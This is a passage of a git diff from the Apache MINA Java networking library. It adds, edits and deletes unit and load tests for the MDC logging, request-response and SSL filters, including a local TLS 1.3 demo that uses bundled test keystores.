WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.filter.logging; + +import junit.framework.JUnit4TestAdapter; +import junit.framework.Test; +import junit.textui.TestRunner; + +import java.util.Date; + +/** + * Test the MdcInjectionFilter load for Windows + * + * @author Apache MINA Project + */ +public class LoadTestMdcInjectionFilter { + + /** + * The MdcInjectionFilterTest is unstable, it fails sporadically (and only on Windows ?) + * This is a quick and dirty program to run the MdcInjectionFilterTest many times. + * To be removed once we consider DIRMINA-784 to be fixed + * + * @param args Unused + */ + public static void main(String[] args) { + TestRunner runner = new TestRunner(); + + try { + for (int i = 0; i < 50000; i++) { + Test test = new JUnit4TestAdapter(MdcInjectionFilterTest.class); + runner.doRun(test); + System.out.println("i = " + i + " " + new Date()); + } + System.out.println("done"); + } catch (Exception e) { + e.printStackTrace(); + } + System.exit(0); + + } +} diff --git a/mina-core/src/test/java/org/apache/mina/filter/logging/MdcInjectionFilterTest.java b/mina-core/src/test/java/org/apache/mina/filter/logging/MdcInjectionFilterTest.java index 35d1fe6832..33067824ed 100644 --- a/mina-core/src/test/java/org/apache/mina/filter/logging/MdcInjectionFilterTest.java +++ b/mina-core/src/test/java/org/apache/mina/filter/logging/MdcInjectionFilterTest.java @@ -44,6 +44,7 @@ import org.apache.mina.core.filterchain.IoFilterAdapter; import org.apache.mina.core.future.ConnectFuture; import org.apache.mina.core.service.IoHandlerAdapter; +import org.apache.mina.core.service.IoProcessor; import org.apache.mina.core.session.IdleStatus; import org.apache.mina.core.session.IoSession; import org.apache.mina.filter.codec.ProtocolCodecFactory; @@ -72,14 +73,19 @@ public class MdcInjectionFilterTest { static Logger LOGGER = LoggerFactory.getLogger(MdcInjectionFilterTest.class); + private static final int TIMEOUT = 5000; private final MyAppender appender = new MyAppender(); + private int port; + private NioSocketAcceptor acceptor; private Level previousLevelRootLogger; + private ExecutorFilter executorFilter1; + private ExecutorFilter executorFilter2; @Before @@ -92,7 +98,6 @@ public void setUp() throws Exception { acceptor = new NioSocketAcceptor(); } - @After public void tearDown() throws Exception { acceptor.dispose(true); @@ -116,16 +121,12 @@ public void tearDown() throws Exception { while (contains(after, "Nio") && count++ < 10) { Thread.sleep(50); after = getThreadNames(); - System.out.println("** after = " + after); } - System.out.println("============================"); - while (contains(after, "pool") && count++ < 10) { - Thread.sleep(50); - after = getThreadNames(); - System.out.println("** after = " + after); - } - System.out.println("============================"); + while (contains(after, "pool") && count++ < 10) { + Thread.sleep(50); + after = getThreadNames(); + } // The problem is that we clear the events of the appender here, but it's possible that a thread from // a previous test still generates events during the execution of the next test @@ -160,7 +161,7 @@ public void testExecutorFilterAtTheEnd() throws IOException, InterruptedExceptio chain.addFirst("mdc-injector1", mdcInjectionFilter); chain.addLast("dummy", new DummyIoFilter()); chain.addLast("protocol", new ProtocolCodecFilter(new DummyProtocolCodecFactory())); - chain.addLast("executor" , executorFilter1); + chain.addLast("executor", executorFilter1); chain.addLast("mdc-injector2", mdcInjectionFilter); test(chain); } @@ -170,7 +171,7 @@ public void testExecutorFilterAtBeginning() throws IOException, InterruptedExcep executorFilter1 = new ExecutorFilter(); DefaultIoFilterChainBuilder chain = new DefaultIoFilterChainBuilder(); MdcInjectionFilter mdcInjectionFilter = new MdcInjectionFilter(); - chain.addLast("executor" , executorFilter1); + chain.addLast("executor", executorFilter1); chain.addLast("mdc-injector", mdcInjectionFilter); chain.addLast("dummy", new DummyIoFilter()); chain.addLast("protocol", new ProtocolCodecFilter(new DummyProtocolCodecFactory())); @@ -182,7 +183,7 @@ public void testExecutorFilterBeforeProtocol() throws IOException, InterruptedEx executorFilter1 = new ExecutorFilter(); DefaultIoFilterChainBuilder chain = new DefaultIoFilterChainBuilder(); MdcInjectionFilter mdcInjectionFilter = new MdcInjectionFilter(); - chain.addLast("executor" , executorFilter1); + chain.addLast("executor", executorFilter1); chain.addLast("mdc-injector", mdcInjectionFilter); chain.addLast("dummy", new DummyIoFilter()); chain.addLast("protocol", new ProtocolCodecFilter(new DummyProtocolCodecFactory())); @@ -194,7 +195,7 @@ public void testMultipleFilters() throws IOException, InterruptedException { executorFilter1 = new ExecutorFilter(); DefaultIoFilterChainBuilder chain = new DefaultIoFilterChainBuilder(); MdcInjectionFilter mdcInjectionFilter = new MdcInjectionFilter(); - chain.addLast("executor" , executorFilter1); + chain.addLast("executor", executorFilter1); chain.addLast("mdc-injector", mdcInjectionFilter); chain.addLast("profiler", new ProfilerTimerFilter()); chain.addLast("dummy", new DummyIoFilter()); @@ -209,22 +210,21 @@ public void testTwoExecutorFilters() throws IOException, InterruptedException { MdcInjectionFilter mdcInjectionFilter = new MdcInjectionFilter(); executorFilter1 = new ExecutorFilter(); executorFilter2 = new ExecutorFilter(); - chain.addLast("executorFilter1" , executorFilter1); + chain.addLast("executorFilter1", executorFilter1); chain.addLast("mdc-injector1", mdcInjectionFilter); chain.addLast("protocol", new ProtocolCodecFilter(new DummyProtocolCodecFactory())); chain.addLast("dummy", new DummyIoFilter()); - chain.addLast("executorFilter2" , executorFilter2); + chain.addLast("executorFilter2", executorFilter2); // add the MdcInjectionFilter instance after every ExecutorFilter // it's important to use the same MdcInjectionFilter instance - chain.addLast("mdc-injector2", mdcInjectionFilter); + chain.addLast("mdc-injector2", mdcInjectionFilter); test(chain); } @Test public void testOnlyRemoteAddress() throws IOException, InterruptedException { DefaultIoFilterChainBuilder chain = new DefaultIoFilterChainBuilder(); - chain.addFirst("mdc-injector", new MdcInjectionFilter( - MdcInjectionFilter.MdcKey.remoteAddress)); + chain.addFirst("mdc-injector", new MdcInjectionFilter(MdcInjectionFilter.MdcKey.remoteAddress)); chain.addLast("dummy", new DummyIoFilter()); chain.addLast("protocol", new ProtocolCodecFilter(new DummyProtocolCodecFactory())); SimpleIoHandler simpleIoHandler = new SimpleIoHandler(); @@ -235,8 +235,8 @@ public void testOnlyRemoteAddress() throws IOException, InterruptedException { // create some clients NioSocketConnector connector = new NioSocketConnector(); connector.setHandler(new IoHandlerAdapter()); - connectAndWrite(connector,0); - connectAndWrite(connector,1); + connectAndWrite(connector, 0); + connectAndWrite(connector, 1); // wait until Iohandler has received all events simpleIoHandler.messageSentLatch.await(); simpleIoHandler.sessionIdleLatch.await(); @@ -244,21 +244,21 @@ public void testOnlyRemoteAddress() throws IOException, InterruptedException { connector.dispose(true); // make a copy to prevent ConcurrentModificationException - List events = new ArrayList(appender.events); + List events = new ArrayList<>(appender.events); // verify that all logging events have correct MDC for (LoggingEvent event : events) { - if (event.getLoggerName().startsWith("org.apache.mina.core.service.AbstractIoService")) { - continue; + if (event.getLoggerName().startsWith("org.apache.mina.core.service.AbstractIoService") || + event.getLoggerName().startsWith(IoProcessor.class.getName())) { + continue; } for (MdcInjectionFilter.MdcKey mdcKey : MdcInjectionFilter.MdcKey.values()) { - String key = mdcKey.name(); - Object value = event.getMDC(key); - if (mdcKey == MdcInjectionFilter.MdcKey.remoteAddress) { - assertNotNull( - "MDC[remoteAddress] not set for [" + event.getMessage() + "]", value); - } else { - assertNull("MDC[" + key + "] set for [" + event.getMessage() + "]", value); - } + String key = mdcKey.name(); + Object value = event.getMDC(key); + if (mdcKey == MdcInjectionFilter.MdcKey.remoteAddress) { + assertNotNull("MDC[remoteAddress] not set for [" + event.getMessage() + "]", value); + } else { + assertNull("MDC[" + key + "] set for [" + event.getMessage() + "]", value); + } } } } @@ -274,8 +274,8 @@ private void test(DefaultIoFilterChainBuilder chain) throws IOException, Interru NioSocketConnector connector = new NioSocketConnector(); connector.setHandler(new IoHandlerAdapter()); SocketAddress remoteAddressClients[] = new SocketAddress[2]; - remoteAddressClients[0] = connectAndWrite(connector,0); - remoteAddressClients[1] = connectAndWrite(connector,1); + remoteAddressClients[0] = connectAndWrite(connector, 0); + remoteAddressClients[1] = connectAndWrite(connector, 1); // wait until Iohandler has received all events simpleIoHandler.messageSentLatch.await(); simpleIoHandler.sessionIdleLatch.await(); @@ -283,9 +283,9 @@ private void test(DefaultIoFilterChainBuilder chain) throws IOException, Interru connector.dispose(true); // make a copy to prevent ConcurrentModificationException - List events = new ArrayList(appender.events); + List events = new ArrayList<>(appender.events); - Set loggersToCheck = new HashSet(); + Set loggersToCheck = new HashSet<>(); loggersToCheck.add(MdcInjectionFilterTest.class.getName()); loggersToCheck.add(ProtocolCodecFilter.class.getName()); loggersToCheck.add(LoggingFilter.class.getName()); @@ -297,10 +297,8 @@ private void test(DefaultIoFilterChainBuilder chain) throws IOException, Interru Object remoteAddress = event.getMDC("remoteAddress"); assertNotNull("MDC[remoteAddress] not set for [" + event.getMessage() + "]", remoteAddress); assertNotNull("MDC[remotePort] not set for [" + event.getMessage() + "]", event.getMDC("remotePort")); - assertEquals( - "every event should have MDC[handlerClass]", - SimpleIoHandler.class.getName(), - event.getMDC("handlerClass") ); + assertEquals("every event should have MDC[handlerClass]", SimpleIoHandler.class.getName(), + event.getMDC("handlerClass")); } } // assert we have received all expected logging events for each client @@ -331,16 +329,12 @@ private SocketAddress connectAndWrite(NioSocketConnector connector, int clientNr return session.getLocalAddress(); } - private void assertEventExists(List events, - String message, - SocketAddress address, - String user) { + private void assertEventExists(List events, String message, SocketAddress address, String user) { InetSocketAddress remoteAddress = (InetSocketAddress) address; for (LoggingEvent event : events) { - if (event.getMessage().equals(message) && - event.getMDC("remoteAddress").equals(remoteAddress.toString()) && - event.getMDC("remoteIp").equals(remoteAddress.getAddress().getHostAddress()) && - event.getMDC("remotePort").equals(remoteAddress.getPort()+"") ) { + if (event.getMessage().equals(message) && event.getMDC("remoteAddress").equals(remoteAddress.toString()) + && event.getMDC("remoteIp").equals(remoteAddress.getAddress().getHostAddress()) + && event.getMDC("remotePort").equals(remoteAddress.getPort() + "")) { if (user == null && event.getMDC("user") == null) { return; } @@ -350,12 +344,14 @@ private void assertEventExists(List events, return; } } - fail("No LoggingEvent found from [" + remoteAddress +"] with message [" + message + "]"); + fail("No LoggingEvent found from [" + remoteAddress + "] with message [" + message + "]"); } private static class SimpleIoHandler extends IoHandlerAdapter { CountDownLatch sessionIdleLatch = new CountDownLatch(2); + CountDownLatch sessionClosedLatch = new CountDownLatch(2); + CountDownLatch messageSentLatch = new CountDownLatch(2); /** @@ -386,7 +382,7 @@ public void sessionClosed(IoSession session) throws Exception { public void sessionIdle(IoSession session, IdleStatus status) throws Exception { LOGGER.info("sessionIdle"); sessionIdleLatch.countDown(); - session.close(true); + session.closeNow(); } @Override @@ -446,7 +442,7 @@ public void decode(IoSession session, IoBuffer in, ProtocolDecoderOutput out) th } private static class MyAppender extends AppenderSkeleton { - List events = Collections.synchronizedList(new ArrayList()); + List events = Collections.synchronizedList(new ArrayList<>()); /** * Default constructor @@ -465,12 +461,10 @@ protected void append(final LoggingEvent loggingEvent) { events.add(loggingEvent); } - @Override public boolean requiresLayout() { return false; } - @Override public void close() { // Do nothing } @@ -484,9 +478,8 @@ public void sessionOpened(NextFilter nextFilter, IoSession session) throws Excep } } - private List getThreadNames() { - List list = new ArrayList(); + List list = new ArrayList<>(); int active = Thread.activeCount(); Thread[] threads = new Thread[active]; Thread.enumerate(threads); diff --git a/mina-core/src/test/java/org/apache/mina/filter/reqres/RequestResponseFilterTest.java b/mina-core/src/test/java/org/apache/mina/filter/reqres/RequestResponseFilterTest.java deleted file mode 100644 index df3ce2f1f1..0000000000 --- a/mina-core/src/test/java/org/apache/mina/filter/reqres/RequestResponseFilterTest.java +++ /dev/null @@ -1,358 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - * - */ -package org.apache.mina.filter.reqres; - -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertFalse; -import static org.junit.Assert.assertTrue; -import static org.junit.Assert.fail; - -import java.util.NoSuchElementException; -import java.util.concurrent.Executors; -import java.util.concurrent.ScheduledExecutorService; - -import org.apache.mina.core.filterchain.IoFilterChain; -import org.apache.mina.core.filterchain.IoFilter.NextFilter; -import org.apache.mina.core.session.DummySession; -import org.apache.mina.core.session.IoSession; -import org.apache.mina.core.write.DefaultWriteRequest; -import org.apache.mina.core.write.WriteRequest; -import org.easymock.AbstractMatcher; -import org.easymock.MockControl; -import org.junit.After; -import org.junit.Before; -import org.junit.Test; - -/** - * Tests {@link RequestResponseFilter}. - * - * @author Apache MINA Project - */ -public class RequestResponseFilterTest { - - private ScheduledExecutorService scheduler; - - private RequestResponseFilter filter; - - private IoSession session; - - private IoFilterChain chain; - - private NextFilter nextFilter; - - private MockControl nextFilterControl; - - private final WriteRequestMatcher matcher = new WriteRequestMatcher(); - - @Before - public void setUp() throws Exception { - scheduler = Executors.newScheduledThreadPool(1); - filter = new RequestResponseFilter(new MessageInspector(), scheduler); - - // Set up mock objects. - session = new DummySession(); - chain = session.getFilterChain(); - nextFilterControl = MockControl.createControl(NextFilter.class); - nextFilter = (NextFilter) nextFilterControl.getMock(); - - // Initialize the filter. - filter.onPreAdd(chain, "reqres", nextFilter); - filter.onPostAdd(chain, "reqres", nextFilter); - assertFalse(session.getAttributeKeys().isEmpty()); - } - - @After - public void tearDown() throws Exception { - // Destroy the filter. - filter.onPreRemove(chain, "reqres", nextFilter); - filter.onPostRemove(chain, "reqres", nextFilter); - filter.destroy(); - filter = null; - scheduler.shutdown(); - } - - @Test - public void testWholeResponse() throws Exception { - Request req = new Request(1, new Object(), Long.MAX_VALUE); - Response res = new Response(req, new Message(1, ResponseType.WHOLE), - ResponseType.WHOLE); - WriteRequest rwr = new DefaultWriteRequest(req); - - // Record - nextFilter.filterWrite(session, new DefaultWriteRequest(req - .getMessage())); - nextFilterControl.setMatcher(matcher); - nextFilter.messageSent(session, rwr); - nextFilter.messageReceived(session, res); - - // Replay - nextFilterControl.replay(); - filter.filterWrite(nextFilter, session, rwr); - filter.messageSent(nextFilter, session, matcher.getLastWriteRequest()); - filter.messageReceived(nextFilter, session, res.getMessage()); - filter.messageReceived(nextFilter, session, res.getMessage()); // Ignored - - // Verify - nextFilterControl.verify(); - assertEquals(res, req.awaitResponse()); - assertNoSuchElementException(req); - } - - private void assertNoSuchElementException(Request req) - throws InterruptedException { - // Make sure if an exception is thrown if a user waits one more time. - try { - req.awaitResponse(); - fail(); - } catch (NoSuchElementException e) { - // Signifies a successful test execution - assertTrue(true); - } - } - - @Test - public void testPartialResponse() throws Exception { - Request req = new Request(1, new Object(), Long.MAX_VALUE); - Response res1 = new Response(req, new Message(1, ResponseType.PARTIAL), - ResponseType.PARTIAL); - Response res2 = new Response(req, new Message(1, - ResponseType.PARTIAL_LAST), ResponseType.PARTIAL_LAST); - WriteRequest rwr = new DefaultWriteRequest(req); - - // Record - nextFilter.filterWrite(session, new DefaultWriteRequest(req - .getMessage())); - nextFilterControl.setMatcher(matcher); - nextFilter.messageSent(session, rwr); - nextFilter.messageReceived(session, res1); - nextFilter.messageReceived(session, res2); - - // Replay - nextFilterControl.replay(); - filter.filterWrite(nextFilter, session, rwr); - filter.messageSent(nextFilter, session, matcher.getLastWriteRequest()); - filter.messageReceived(nextFilter, session, res1.getMessage()); - filter.messageReceived(nextFilter, session, res2.getMessage()); - filter.messageReceived(nextFilter, session, res1.getMessage()); // Ignored - filter.messageReceived(nextFilter, session, res2.getMessage()); // Ignored - - // Verify - nextFilterControl.verify(); - assertEquals(res1, req.awaitResponse()); - assertEquals(res2, req.awaitResponse()); - assertNoSuchElementException(req); - } - - @Test - public void testWholeResponseTimeout() throws Exception { - Request req = new Request(1, new Object(), 10); // 10ms timeout - Response res = new Response(req, new Message(1, ResponseType.WHOLE), - ResponseType.WHOLE); - WriteRequest rwr = new DefaultWriteRequest(req); - - // Record - nextFilter.filterWrite(session, new DefaultWriteRequest(req - .getMessage())); - nextFilterControl.setMatcher(matcher); - nextFilter.messageSent(session, rwr); - nextFilter.exceptionCaught(session, new RequestTimeoutException(req)); - nextFilterControl.setMatcher(new ExceptionMatcher()); - - // Replay - nextFilterControl.replay(); - filter.filterWrite(nextFilter, session, rwr); - filter.messageSent(nextFilter, session, matcher.getLastWriteRequest()); - Thread.sleep(300); // Wait until the request times out. - filter.messageReceived(nextFilter, session, res.getMessage()); // Ignored - - // Verify - nextFilterControl.verify(); - assertRequestTimeoutException(req); - assertNoSuchElementException(req); - } - - private void assertRequestTimeoutException(Request req) - throws InterruptedException { - try { - req.awaitResponse(); - fail(); - } catch (RequestTimeoutException e) { - // Signifies a successful test execution - assertTrue(true); - } - } - - @Test - public void testPartialResponseTimeout() throws Exception { - Request req = new Request(1, new Object(), 10); // 10ms timeout - Response res1 = new Response(req, new Message(1, ResponseType.PARTIAL), - ResponseType.PARTIAL); - Response res2 = new Response(req, new Message(1, - ResponseType.PARTIAL_LAST), ResponseType.PARTIAL_LAST); - WriteRequest rwr = new DefaultWriteRequest(req); - - // Record - nextFilter.filterWrite(session, new DefaultWriteRequest(req - .getMessage())); - nextFilterControl.setMatcher(matcher); - nextFilter.messageSent(session, rwr); - nextFilter.messageReceived(session, res1); - nextFilter.exceptionCaught(session, new RequestTimeoutException(req)); - nextFilterControl.setMatcher(new ExceptionMatcher()); - - // Replay - nextFilterControl.replay(); - filter.filterWrite(nextFilter, session, rwr); - filter.messageSent(nextFilter, session, matcher.getLastWriteRequest()); - filter.messageReceived(nextFilter, session, res1.getMessage()); - Thread.sleep(300); // Wait until the request times out. - filter.messageReceived(nextFilter, session, res2.getMessage()); // Ignored - filter.messageReceived(nextFilter, session, res1.getMessage()); // Ignored - - // Verify - nextFilterControl.verify(); - assertEquals(res1, req.awaitResponse()); - assertRequestTimeoutException(req); - assertNoSuchElementException(req); - } - - @Test - public void testTimeoutByDisconnection() throws Exception { - // We run a test case that doesn't raise a timeout to make sure - // the timeout is not raised again by disconnection. - testWholeResponse(); - nextFilterControl.reset(); - - Request req1 = new Request(1, new Object(), Long.MAX_VALUE); - Request req2 = new Request(2, new Object(), Long.MAX_VALUE); - WriteRequest rwr1 = new DefaultWriteRequest(req1); - WriteRequest rwr2 = new DefaultWriteRequest(req2); - - // Record - nextFilter.filterWrite(session, new DefaultWriteRequest(req1 - .getMessage())); - nextFilterControl.setMatcher(matcher); - nextFilter.messageSent(session, rwr1); - nextFilter.filterWrite(session, new DefaultWriteRequest(req2 - .getMessage())); - nextFilter.messageSent(session, rwr2); - nextFilter.exceptionCaught(session, new RequestTimeoutException(req1)); - nextFilterControl.setMatcher(new ExceptionMatcher()); - nextFilter.exceptionCaught(session, new RequestTimeoutException(req2)); - nextFilter.sessionClosed(session); - - // Replay - nextFilterControl.replay(); - filter.filterWrite(nextFilter, session, rwr1); - filter.messageSent(nextFilter, session, matcher.getLastWriteRequest()); - filter.filterWrite(nextFilter, session, rwr2); - filter.messageSent(nextFilter, session, matcher.getLastWriteRequest()); - filter.sessionClosed(nextFilter, session); - - // Verify - nextFilterControl.verify(); - assertRequestTimeoutException(req1); - assertRequestTimeoutException(req2); - } - - static class Message { - private final int id; - - private final ResponseType type; - - Message(int id, ResponseType type) { - this.id = id; - this.type = type; - } - - public int getId() { - return id; - } - - public ResponseType getType() { - return type; - } - } - - private static class MessageInspector implements ResponseInspector { - /** - * Default constructor - */ - public MessageInspector() { - super(); - } - - public Object getRequestId(Object message) { - if (!(message instanceof Message)) { - return null; - } - - return ((Message) message).getId(); - } - - public ResponseType getResponseType(Object message) { - if (!(message instanceof Message)) { - return null; - } - - return ((Message) message).getType(); - } - } - - private static class WriteRequestMatcher extends AbstractMatcher { - private WriteRequest lastWriteRequest; - - /** - * Default constructor - */ - public WriteRequestMatcher() { - super(); - } - - public WriteRequest getLastWriteRequest() { - return lastWriteRequest; - } - - @Override - protected boolean argumentMatches(Object expected, Object actual) { - if (actual instanceof WriteRequest - && expected instanceof WriteRequest) { - boolean answer = ((WriteRequest) expected).getMessage().equals( - ((WriteRequest) actual).getMessage()); - lastWriteRequest = (WriteRequest) actual; - return answer; - } - return super.argumentMatches(expected, actual); - } - } - - static class ExceptionMatcher extends AbstractMatcher { - @Override - protected boolean argumentMatches(Object expected, Object actual) { - if (actual instanceof RequestTimeoutException - && expected instanceof RequestTimeoutException) { - return ((RequestTimeoutException) expected) - .getRequest() - .equals(((RequestTimeoutException) actual).getRequest()); - } - return super.argumentMatches(expected, actual); - } - } -} diff --git a/mina-core/src/test/java/org/apache/mina/filter/ssl/KeyStoreFactoryTest.java b/mina-core/src/test/java/org/apache/mina/filter/ssl/KeyStoreFactoryTest.java index 9a6515db57..994668e399 100644 --- a/mina-core/src/test/java/org/apache/mina/filter/ssl/KeyStoreFactoryTest.java +++ b/mina-core/src/test/java/org/apache/mina/filter/ssl/KeyStoreFactoryTest.java @@ -54,11 +54,11 @@ public void testCreateInstanceFromFile() throws Exception { InputStream in = getClass().getResourceAsStream("keystore.cert"); OutputStream out = new FileOutputStream(file); int b; - + while ((b = in.read()) != -1) { out.write(b); } - + in.close(); out.close(); diff --git a/mina-core/src/test/java/org/apache/mina/filter/ssl/SslFilterMain.java b/mina-core/src/test/java/org/apache/mina/filter/ssl/SslFilterMain.java new file mode 100644 index 0000000000..c85168e9c8 --- /dev/null +++ b/mina-core/src/test/java/org/apache/mina/filter/ssl/SslFilterMain.java @@ -0,0 +1,145 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.filter.ssl; + +import java.io.IOException; +import java.net.InetSocketAddress; +import java.net.SocketAddress; +import java.security.KeyManagementException; +import java.security.KeyStore; +import java.security.KeyStoreException; +import java.security.NoSuchAlgorithmException; +import java.security.SecureRandom; +import java.security.UnrecoverableKeyException; +import java.security.cert.CertificateException; + +import javax.net.ssl.KeyManagerFactory; +import javax.net.ssl.SSLContext; +import javax.net.ssl.TrustManagerFactory; + +import org.apache.mina.core.buffer.IoBuffer; +import org.apache.mina.core.future.IoFuture; +import org.apache.mina.core.service.IoAcceptor; +import org.apache.mina.core.service.IoConnector; +import org.apache.mina.core.service.IoHandlerAdapter; +import org.apache.mina.core.session.IoSession; +import org.apache.mina.transport.socket.nio.NioSocketAcceptor; +import org.apache.mina.transport.socket.nio.NioSocketConnector; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +public class SslFilterMain { + + public static void main(String[] args) throws NoSuchAlgorithmException, KeyManagementException, KeyStoreException, + UnrecoverableKeyException, CertificateException, IOException { + System.setProperty("javax.net.debug", "all"); + + KeyManagerFactory kmf = KeyManagerFactory.getInstance(KeyManagerFactory.getDefaultAlgorithm()); + TrustManagerFactory tmf = TrustManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm()); + + KeyStore ks = KeyStore.getInstance("JKS"); + KeyStore ts = KeyStore.getInstance("JKS"); + + final char[] password = "password".toCharArray(); + + ks.load(SslFilterMain.class.getResourceAsStream("keystore.jks"), password); + ts.load(SslFilterMain.class.getResourceAsStream("truststore.jks"), password); + + kmf.init(ks, password); + tmf.init(ts); + + final SSLContext context = SSLContext.getInstance("TLSv1.3"); + context.init(kmf.getKeyManagers(), tmf.getTrustManagers(), new SecureRandom()); + + final SslFilter filter = new SslFilter(context); + filter.setEnabledCipherSuites(new String[] { "TLS_AES_128_GCM_SHA256", "TLS_AES_256_GCM_SHA384" }); + filter.setEnabledProtocols(new String[] { "TLSv1.3" }); + + final IoAcceptor socket_acceptor = new NioSocketAcceptor(); + + socket_acceptor.getFilterChain().addFirst("ssl", filter); + socket_acceptor.setHandler(new DebugFilter()); + + final IoConnector socket_connector = new NioSocketConnector(); + + socket_connector.getFilterChain().addFirst("ssl", filter); + socket_connector.setHandler(new DebugFilter()); + + socket_acceptor.bind(new InetSocketAddress("0.0.0.0", 0)); + + final SocketAddress server_address = socket_acceptor.getLocalAddress(); + + final IoFuture connect_future = socket_connector.connect(server_address); + connect_future.awaitUninterruptibly(); + + final IoSession client_socket = connect_future.getSession(); + + client_socket.write(createMosaicRequest()).awaitUninterruptibly(); + + try { + Thread.sleep(250); + } catch (InterruptedException e) { + // ignore + } + + client_socket.closeNow().awaitUninterruptibly(); + + socket_connector.dispose(); + + socket_acceptor.unbind(); + socket_acceptor.dispose(); + } + + public static class DebugFilter extends IoHandlerAdapter { + protected static final Logger LOGGER = LoggerFactory.getLogger(DebugFilter.class); + + @Override + public void messageReceived(IoSession session, Object message) throws Exception { + + IoBuffer b = IoBuffer.class.cast(message); + LOGGER.debug("received clear-text message\n" + b.getHexDump(true)); + } + } + + public static IoBuffer createMosaicRequest() { + // HTTP request + IoBuffer message = IoBuffer.allocate(100 * 1024); + while (message.hasRemaining()) { + message.putInt(0xFF332211); + } + message.flip(); + + return message; + } + + public static IoBuffer createHttpRequest() { + // HTTP request + StringBuilder http = new StringBuilder(); + http.append("GET / HTTP/1.0\r\n"); + http.append("Connection: close\r\n"); + http.append("\r\n"); + + IoBuffer message = IoBuffer.allocate(1024); + message.put(http.toString().getBytes()); + message.flip(); + + return message; + } +} diff --git a/mina-core/src/test/java/org/apache/mina/filter/ssl/SslFilterScheduledWriteMessagesTest.java b/mina-core/src/test/java/org/apache/mina/filter/ssl/SslFilterScheduledWriteMessagesTest.java new file mode 100644 index 0000000000..e6bb137b4f --- /dev/null +++ b/mina-core/src/test/java/org/apache/mina/filter/ssl/SslFilterScheduledWriteMessagesTest.java @@ -0,0 +1,342 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.filter.ssl; + +import org.apache.mina.core.filterchain.DefaultIoFilterChainBuilder; +import org.apache.mina.core.future.WriteFuture; +import org.apache.mina.core.service.IoHandler; +import org.apache.mina.core.service.IoHandlerAdapter; +import org.apache.mina.core.service.IoService; +import org.apache.mina.core.session.IoSession; +import org.apache.mina.filter.FilterEvent; +import org.apache.mina.filter.codec.ProtocolCodecFilter; +import org.apache.mina.filter.codec.textline.TextLineCodecFactory; +import org.apache.mina.transport.socket.nio.NioSocketAcceptor; +import org.apache.mina.transport.socket.nio.NioSocketConnector; +import org.apache.mina.util.AvailablePortFinder; +import org.junit.Before; +import org.junit.Test; + +import javax.net.ssl.KeyManagerFactory; +import javax.net.ssl.SSLContext; +import javax.net.ssl.TrustManagerFactory; +import java.net.InetSocketAddress; +import java.security.KeyStore; +import java.security.Security; +import java.util.concurrent.CountDownLatch; +import java.util.concurrent.TimeUnit; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertTrue; + +public class SslFilterScheduledWriteMessagesTest { + + private static final String KEY_STORE_PATH = "keystore.jks"; + private static final String TRUST_STORE_PATH = "truststore.jks"; + private static final String[] ENABLED_PROTOCOLS = new String[] { "TLSv1.2" }; + private static final String KEY_MANAGER_FACTORY_ALGORITHM; + + static { + String algorithm = Security.getProperty("ssl.KeyManagerFactory.algorithm"); + + if (algorithm == null) { + algorithm = KeyManagerFactory.getDefaultAlgorithm(); + } + + KEY_MANAGER_FACTORY_ALGORITHM = algorithm; + } + + private CountDownLatch handshakeDone; + private CountDownLatch sessionsOpened; + private int port; + + @Before + public void setUp() { + handshakeDone = new CountDownLatch(2); + sessionsOpened = new CountDownLatch(2); + port = AvailablePortFinder.getNextAvailable(5555); + } + + @Test + public void shouldDecrementScheduledWriteMessages() throws Exception { + CountDownLatch handshakeDone = new CountDownLatch(0); + AcceptorIoHandler acceptorIoHandler = new AcceptorIoHandler(handshakeDone, sessionsOpened); + ConnectionIoHandler connectionIoHandler = new ConnectionIoHandler(handshakeDone, sessionsOpened); + + IoService acceptorService = startAcceptor(acceptorIoHandler); + + try { + IoService connectorService = startConnector(connectionIoHandler); + + try { + assertTrue(sessionsOpened.await(10L, TimeUnit.SECONDS)); + + IoSession acceptorSession = acceptorIoHandler.session; + IoSession connectorSession = connectionIoHandler.session; + + assertEquals(0, acceptorSession.getWrittenMessages()); + assertEquals(0, connectorSession.getWrittenMessages()); + assertEquals(0, acceptorSession.getScheduledWriteMessages()); + assertEquals(0, connectorSession.getScheduledWriteMessages()); + assertEquals(0, acceptorSession.getScheduledWriteBytes()); + assertEquals(0, connectorSession.getScheduledWriteBytes()); + assertEquals(0, acceptorIoHandler.sentMessageCount); + assertEquals(0, connectionIoHandler.sentMessageCount); + + WriteFuture connectorWriteFuture = connectorSession.write("connector message"); + assertTrue(connectorWriteFuture.await(2L, TimeUnit.SECONDS)); + + Thread.sleep(1000L); + + assertEquals(0, acceptorSession.getWrittenMessages()); + 